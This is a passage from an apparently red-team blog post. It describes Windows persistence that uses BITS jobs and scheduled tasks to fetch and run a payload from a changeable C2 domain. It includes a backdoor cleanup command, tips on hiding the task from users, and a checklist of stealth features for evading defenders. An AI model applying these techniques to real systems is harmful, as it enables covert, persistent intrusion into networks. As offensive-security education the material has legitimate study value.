<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ69dCoiq-pDbrirD0quMN8tI45y5khHh7SR-PtbDTeu1p4BgWjTeOWi0gIZ4NeBSMxQG9IGag5viTEcKnlcQ_hM-9d3dQOXAL3Q-t9fb8Eo-LDlcS7kuWISPiXSR-eezv75GVltHM7g89/s1600/PayloadDeployed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ69dCoiq-pDbrirD0quMN8tI45y5khHh7SR-PtbDTeu1p4BgWjTeOWi0gIZ4NeBSMxQG9IGag5viTEcKnlcQ_hM-9d3dQOXAL3Q-t9fb8Eo-LDlcS7kuWISPiXSR-eezv75GVltHM7g89/s1600/PayloadDeployed.png" height="110" width="640" /></a></div>
<br />
<b>Back in Business:</b><br />
Successful transfer triggers /SetNotifyCmdLine to /Complete our download and executes the payload.<br />
I used a self-deleting PE, you could also use a blank file to trigger a reflective powershell execution.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozowlfDMTlToaM0cuSd3hKS9K_FMlVF9JEOnRQe9MPs2p8fXzsVXE-CzFWeOW9wrz4NhCG2Zq7c4cnH1L_19s34IEx9D_C4ICKbzWcPwnYUOAtM3dPjZV2OOx3T1mVxkkgwyXkuQNIJJI/s1600/BackIn.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozowlfDMTlToaM0cuSd3hKS9K_FMlVF9JEOnRQe9MPs2p8fXzsVXE-CzFWeOW9wrz4NhCG2Zq7c4cnH1L_19s34IEx9D_C4ICKbzWcPwnYUOAtM3dPjZV2OOx3T1mVxkkgwyXkuQNIJJI/s1600/BackIn.png" height="229" width="640" /></a></div>
<div style="text-align: center;">
<span style="text-align: left;">At this point the BITS job is removed. You can redeploy the backdoor by pasting it back into your shell. If you ever need to preemptively clean the backdoor use: </span></div>
<pre class="prettyprint">bitsadmin /reset && schtasks /delete /TN <taskname> /F</pre>
<div style="text-align: left;">
<br />
<b><span style="font-size: large;">Rising from the dead:</span> Mutable C2 Addressing</b></div>
<div style="text-align: left;">
There are two reasons we use a domain name and not a static IP to host our trigger-files. First, we can use a domain that looks potentially legitimate. Second, it allows us to change C&C reinfection hosts in case your original IP gets blocked. This will take some time, as it relies on propagation of a new A/AAAA record and the expiration of any DNS cache; still better than losing our access.</div>
<div style="text-align: left;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2Dw6b9_XqFixt0J43ukT55D_8cYpbU2nn3CdYLejeYFpjrdT-l1tTGjZH_XG2fnVJHItqu3i3Az6DXsc_mX6Egd08E3pHe0uBvt4zkdE7PM6HBAxzvyDLq8iUtFPEq6B5fBqUl-XGxUx1/s1600/Dns2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2Dw6b9_XqFixt0J43ukT55D_8cYpbU2nn3CdYLejeYFpjrdT-l1tTGjZH_XG2fnVJHItqu3i3Az6DXsc_mX6Egd08E3pHe0uBvt4zkdE7PM6HBAxzvyDLq8iUtFPEq6B5fBqUl-XGxUx1/s1600/Dns2.png" height="140" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: left;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="text-align: left;">After about an hour the request arrives at</span><span style="text-align: left;"> our new C&C and we are back in again!</span></div>
</div>
<div style="text-align: left;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf7H-8aeS375Errx8Ypn4TP5F6Fm2uOyI8VA7TSSeMUXnm1PjDg2SPRKP28sZo8F26qLPVHNKaEI14eDV5pu4EI4U2K3nvJwMcGOsRN9pn3_MiAD58rK5eZqsan3-fNyypJXSvI3vfcqOC/s1600/dns3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf7H-8aeS375Errx8Ypn4TP5F6Fm2uOyI8VA7TSSeMUXnm1PjDg2SPRKP28sZo8F26qLPVHNKaEI14eDV5pu4EI4U2K3nvJwMcGOsRN9pn3_MiAD58rK5eZqsan3-fNyypJXSvI3vfcqOC/s1600/dns3.png" height="41" width="640" /></a></div>
<br />
<h4 style="text-align: justify;">
<br /><b style="text-align: center;"><span style="font-size: large;">Compromise, Infection, Loss of Shell, Persistence, Reinfection</span></b></h4>
<div style="text-align: left;">
<div style="text-align: left;">
<div style="text-align: center;">
At this point, anyone defending the network should be reacting something like this.</div>
</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQzfYA1poXvNaTiciHLd-5fea4mjowIjLc6rsmASr1fUOPr6eJ_RnnrDBnqW18z7vsZzz2eHO9DohyrUAafg4ya6k1bhlWL4pCys9wWRoOLNCuw61middSbstVjMcxq7cksJg-MQaNNdyy/s1600/impossible.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQzfYA1poXvNaTiciHLd-5fea4mjowIjLc6rsmASr1fUOPr6eJ_RnnrDBnqW18z7vsZzz2eHO9DohyrUAafg4ya6k1bhlWL4pCys9wWRoOLNCuw61middSbstVjMcxq7cksJg-MQaNNdyy/s1600/impossible.gif" height="240" width="320" /></a></div>
<div style="text-align: center;">
<br /></div>
<b>How'd We Do?:</b></div>
<ul>
<li>No files left behind: binaries, vbs, ps1, batch, mof, xml... ✓</li>
<li>Persistence across sessions and reboots ✓</li>
<li>Functional under non-privileged user accounts ✓</li>
<li>No need for user credentials or interaction ✓</li>
<li>Ability reinfect unique hosts individually ✓</li>
<li>Self cleaning, independent of system access ✓-</li>
<li>Configurable time-based poling ✓</li>
<li>Remotely Mutable C2 Addressing ✓</li>
<li>C2 & payload only visible during reinfection window ✓</li>
<li>Plausibly believable configurations ✓</li>
</ul>
<br />
<b>Shortcomings:</b><br />
<br />
<ul>
<li>When the bitadmin /resume command is run by task scheduler, under a non-system level account, the user may see a small flash as the argument is passed to cmd.exe. This can be prevented by creating the task under a system account, or having the task only trigger on idle time.</li>
</ul>
<ul>
<li>The BITS job is removed automatically upon success, however, if the task is removed and the BITS job never completes, it will remain in the queue in an inactive ERROR state and will not be tried again. You can prevent this a number of ways: another task, a secondary trigger... I'll leave that practice up to you. I personally am not terribly concerned about it.</li>
</ul>
<br />
<br />
<br />
So there you have it, highly resilient persistence that cleanly expires with your engagement.<br />
<span style="color: red;"><br /></span>
<b>Go learn something ...</b><span style="color: red;"> </span><br />
<span style="color: red;"><b><a href="https://twitter.com/ThemsonMester" target="_blank">@ThemsonMester</a></b></span><br />
<br />
<br />
<br />
Cited Resources:<br />
<ol>
<li>Microsoft Developer Network, BITSAdmin Tool: <a href="http://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx</a></li>
<li>TechNet, Schtasks.exe: <a href="http://technet.microsoft.com/en-us/library/bb490996.aspx">http://technet.microsoft.com/en-us/library/bb490996.aspx</a></li>
<li>Apache Module mod_log_config: <a href="http://httpd.apache.org/docs/current/mod/mod_log_config.html">http://httpd.apache.org/docs/current/mod/mod_log_config.html</a></li>
<li>Fuller, Rob, and Chris Gates. "Windows Attacks AT is the new black." . N.p., 09/29/2013. Web. <<a href="http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607">http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607</a>>. (slides 49-53)</li>
<li>Baggett, Mark. "Wipe the drive! Stealthy Malware Persistence Mechanism - Part 1." InfoSec Handlers Diary Blog. Sans, 03/13/2013. Web. 10 Mar 2014. <<a href="https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394">https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394</a>></li>
</ol>
</div>
@ThemsonMesterhttp://www.blogger.com/profile/14184721559739345817noreply@blogger.com1